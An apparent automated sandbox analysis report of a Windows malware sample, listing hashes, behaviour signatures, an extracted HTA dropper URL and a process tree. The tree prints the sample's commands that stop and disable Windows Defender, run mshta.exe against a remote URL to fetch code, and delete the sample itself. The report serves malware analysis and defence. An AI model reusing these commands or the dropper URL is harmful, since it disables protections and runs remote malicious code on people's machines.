Analysis

  • max time kernel
    150s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7-20240705-en
  • resource tags

    arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
  • submitted
    23/08/2024, 07:17

General

  • Target

    bace3b705692dd51098d62cfab3e4c7a_JaffaCakes118.exe

  • Size

    2.2MB

  • MD5

    bace3b705692dd51098d62cfab3e4c7a

  • SHA1

    709c80482b025237a006bb84101cfa3d1327c0e9

  • SHA256

    0f8478e87936627ba79b070ef5e433348b2b490f41409004651bf8127b197ff3

  • SHA512

    429b74ba446fff14365e57648b485d1513a69858fdd5627335a232fdffd76f2af122cc023a8b0eaf456a658fc2b605b920049bac2264af34ee724c3131aa4749

  • SSDEEP

    49152:CMGZ+nS10IELGTCb6bweJKFbC8PX8lD6qo9jTdpA4GkxDC:CySeIELGGbc0FbxI+q6TdpA4xpC

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://softscoreinc.com/soft-usage/favicon.ico?0=1200&1=PSBQWFYT&2=i-s&3=225&4=7601&5=6&6=1&7=99600&8=1033

Signatures

  • Disables service(s) 3 TTPs
  • Modifies WinLogon for persistence 2 TTPs 1 IoCs
  • UAC bypass 3 TTPs 3 IoCs
  • Event Triggered Execution: Image File Execution Options Injection 1 TTPs 16 IoCs
  • Stops running service(s) 4 TTPs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 2 IoCs
  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Indicator Removal: File Deletion 1 TTPs

    Adversaries may delete files left behind by the actions of their intrusion activity.

  • Launches sc.exe 6 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • System Location Discovery: System Language Discovery 1 TTPs 14 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 4 IoCs
  • Suspicious use of WriteProcessMemory 52 IoCs
  • System policy modification 1 TTPs 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\bace3b705692dd51098d62cfab3e4c7a_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\bace3b705692dd51098d62cfab3e4c7a_JaffaCakes118.exe"
    1⤵
    • Loads dropped DLL
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:2748
    • C:\Windows\SysWOW64\sc.exe
      sc stop WinDefend
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:2740
    • C:\Windows\SysWOW64\sc.exe
      sc config WinDefend start= disabled
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:2140
    • C:\Windows\SysWOW64\net.exe
      net stop msmpsvc
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2860
      • C:\Windows\SysWOW64\net1.exe
        C:\Windows\system32\net1 stop msmpsvc
        3⤵
        • System Location Discovery: System Language Discovery
        PID:2604
    • C:\Windows\SysWOW64\sc.exe
      sc config msmpsvc start= disabled
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:2892
    • C:\Users\Admin\AppData\Roaming\Microsoft\ynqonw.exe
      C:\Users\Admin\AppData\Roaming\Microsoft\ynqonw.exe
      2⤵
      • Modifies WinLogon for persistence
      • UAC bypass
      • Event Triggered Execution: Image File Execution Options Injection
      • Executes dropped EXE
      • Checks whether UAC is enabled
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of WriteProcessMemory
      • System policy modification
      PID:2548
      • C:\Windows\SysWOW64\sc.exe
        sc stop WinDefend
        3⤵
        • Launches sc.exe
        • System Location Discovery: System Language Discovery
        PID:1424
      • C:\Windows\SysWOW64\sc.exe
        sc config WinDefend start= disabled
        3⤵
        • Launches sc.exe
        • System Location Discovery: System Language Discovery
        PID:2384
      • C:\Windows\SysWOW64\net.exe
        net stop msmpsvc
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2404
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 stop msmpsvc
          4⤵
          • System Location Discovery: System Language Discovery
          PID:2732
      • C:\Windows\SysWOW64\sc.exe
        sc config msmpsvc start= disabled
        3⤵
        • Launches sc.exe
        • System Location Discovery: System Language Discovery
        PID:2188
      • C:\Windows\SysWOW64\mshta.exe
        mshta.exe "http://softscoreinc.com/soft-usage/favicon.ico?0=1200&1=PSBQWFYT&2=i-s&3=225&4=7601&5=6&6=1&7=99600&8=1033"
        3⤵
        • System Location Discovery: System Language Discovery
        • Modifies Internet Explorer settings
        PID:2864
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c del "C:\Users\Admin\AppData\Local\Temp\BACE3B~1.EXE" >> NUL
      2⤵
      • Deletes itself
      • System Location Discovery: System Language Discovery
      PID:2108

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Roaming\Microsoft\ynqonw.exe

    Filesize

    2.2MB

    MD5

    bace3b705692dd51098d62cfab3e4c7a

    SHA1

    709c80482b025237a006bb84101cfa3d1327c0e9

    SHA256

    0f8478e87936627ba79b070ef5e433348b2b490f41409004651bf8127b197ff3

    SHA512

    429b74ba446fff14365e57648b485d1513a69858fdd5627335a232fdffd76f2af122cc023a8b0eaf456a658fc2b605b920049bac2264af34ee724c3131aa4749

  • memory/2548-38-0x0000000000400000-0x0000000000835000-memory.dmp

    Filesize

    4.2MB

  • memory/2548-37-0x0000000000400000-0x0000000000835000-memory.dmp

    Filesize

    4.2MB

  • memory/2748-9-0x0000000003630000-0x0000000003631000-memory.dmp

    Filesize

    4KB

  • memory/2748-7-0x0000000003420000-0x0000000003421000-memory.dmp

    Filesize

    4KB

  • memory/2748-21-0x0000000003430000-0x0000000003431000-memory.dmp

    Filesize

    4KB

  • memory/2748-20-0x00000000001B0000-0x00000000001B1000-memory.dmp

    Filesize

    4KB

  • memory/2748-16-0x0000000003630000-0x0000000003631000-memory.dmp

    Filesize

    4KB

  • memory/2748-15-0x0000000003630000-0x0000000003631000-memory.dmp

    Filesize

    4KB

  • memory/2748-14-0x0000000003630000-0x0000000003631000-memory.dmp

    Filesize

    4KB

  • memory/2748-13-0x0000000003630000-0x0000000003631000-memory.dmp

    Filesize

    4KB

  • memory/2748-12-0x0000000003630000-0x0000000003631000-memory.dmp

    Filesize

    4KB

  • memory/2748-11-0x0000000003630000-0x0000000003631000-memory.dmp

    Filesize

    4KB

  • memory/2748-10-0x0000000003630000-0x0000000003631000-memory.dmp

    Filesize

    4KB

  • memory/2748-19-0x0000000003400000-0x0000000003403000-memory.dmp

    Filesize

    12KB

  • memory/2748-8-0x0000000003410000-0x0000000003412000-memory.dmp

    Filesize

    8KB

  • memory/2748-22-0x0000000002050000-0x00000000020AA000-memory.dmp

    Filesize

    360KB

  • memory/2748-6-0x00000000021D0000-0x00000000021D1000-memory.dmp

    Filesize

    4KB

  • memory/2748-5-0x00000000008F0000-0x00000000008F1000-memory.dmp

    Filesize

    4KB

  • memory/2748-4-0x00000000021B0000-0x00000000021B1000-memory.dmp

    Filesize

    4KB

  • memory/2748-3-0x00000000008B0000-0x00000000008B1000-memory.dmp

    Filesize

    4KB

  • memory/2748-2-0x00000000008C0000-0x00000000008C1000-memory.dmp

    Filesize

    4KB

  • memory/2748-1-0x00000000008D0000-0x00000000008D1000-memory.dmp

    Filesize

    4KB

  • memory/2748-0-0x0000000000400000-0x0000000000835000-memory.dmp

    Filesize

    4.2MB

  • memory/2748-36-0x0000000004770000-0x0000000004BA5000-memory.dmp

    Filesize

    4.2MB

  • memory/2748-35-0x0000000000400000-0x0000000000835000-memory.dmp

    Filesize

    4.2MB

  • memory/2748-34-0x0000000002050000-0x00000000020AA000-memory.dmp

    Filesize

    360KB

  • memory/2748-33-0x0000000004770000-0x0000000004BA5000-memory.dmp

    Filesize

    4.2MB

  • memory/2748-23-0x00000000001C0000-0x00000000001C1000-memory.dmp

    Filesize

    4KB

  • memory/2748-17-0x0000000003630000-0x0000000003631000-memory.dmp

    Filesize

    4KB

  • memory/2748-18-0x0000000003460000-0x0000000003461000-memory.dmp

    Filesize

    4KB